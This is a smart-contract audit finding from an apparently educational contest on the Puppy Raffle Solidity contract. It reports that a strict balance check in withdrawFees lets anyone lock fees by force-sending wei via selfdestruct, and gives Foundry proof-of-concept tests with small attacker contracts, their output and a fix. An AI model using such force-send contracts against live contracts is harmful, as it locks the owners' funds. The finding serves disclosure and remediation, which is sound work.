Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

M-02: Strict Equality Check in withdrawFees Allows Permanent DoS

dakthehack

Description

The PuppyRaffle::withdrawFees function uses a strict equality check == to verify that all players have been paid out before allowing fee withdrawal. Anyone can permanently break this check by force-sending even 1 wei to the contract via selfdestruct, locking all fees forever.

Expected behavior: The contract should allow fee withdrawal when no active players remain, regardless of small amounts of forced ETH.

Actual behavior: If anyone sends ETH directly to the contract (via selfdestruct from another contract), the balance will never exactly equal totalFees and withdrawal becomes impossible forever.

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); // @> Strict equality
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

The problem is that contracts cannot prevent receiving ETH via selfdestruct. Even without a receive() or fallback() function, anyone can force ETH into the contract, breaking the strict equality forever.

Risk

Likelihood:

  • High - Anyone can execute this attack at any time

  • Costs only 1 wei plus gas for selfdestruct

  • No special permissions required

Impact:

  • All accumulated fees permanently locked in contract

  • Protocol loses all fee revenue

  • No way to recover locked fees

Proof of Concept

Add to test/PuppyRaffleTest.t.sol:

function test_withdrawFeesDoS() public playersEntered {
// Fast forward and select winner to accumulate fees
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
uint256 totalFees = puppyRaffle.totalFees();
uint256 contractBalance = address(puppyRaffle).balance;
emit log("=== Before Attack ===");
emit log_named_uint("Total fees", totalFees);
emit log_named_uint("Contract balance", contractBalance);
emit log_named_string("Can withdraw", contractBalance == totalFees ? "Yes" : "No");
// Attacker uses selfdestruct to force 1 wei into contract
SelfDestructAttacker attacker = new SelfDestructAttacker();
vm.deal(address(attacker), 1);
attacker.attack(address(puppyRaffle));
contractBalance = address(puppyRaffle).balance;
emit log("");
emit log("=== After Attack (1 wei forced in) ===");
emit log_named_uint("Total fees", totalFees);
emit log_named_uint("Contract balance", contractBalance);
emit log_named_uint("Difference", contractBalance - totalFees);
// Now withdrawFees will revert forever
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
emit log("");
emit log("withdrawFees permanently bricked with just 1 wei");
}
​
contract SelfDestructAttacker {
function attack(address target) external {
selfdestruct(payable(target));
}
}

Run: forge test --match-test test_withdrawFeesDoS -vv

Output:

=== Before Attack ===
Total fees: 800000000000000000
Contract balance: 800000000000000000
Can withdraw: Yes
​
=== After Attack (1 wei forced in) ===
Total fees: 800000000000000000
Contract balance: 800000000000000001
Difference: 1
​
withdrawFees permanently bricked with just 1 wei

The contract had 0.8 ETH in fees ready to withdraw. After forcing in just 1 wei, withdrawal is permanently impossible.

Recommended Mitigation

Use >= instead of == to allow fee withdrawal even with extra balance:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

This allows withdrawal as long as the contract has at least enough to cover the fees, preventing DoS from forced ETH.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!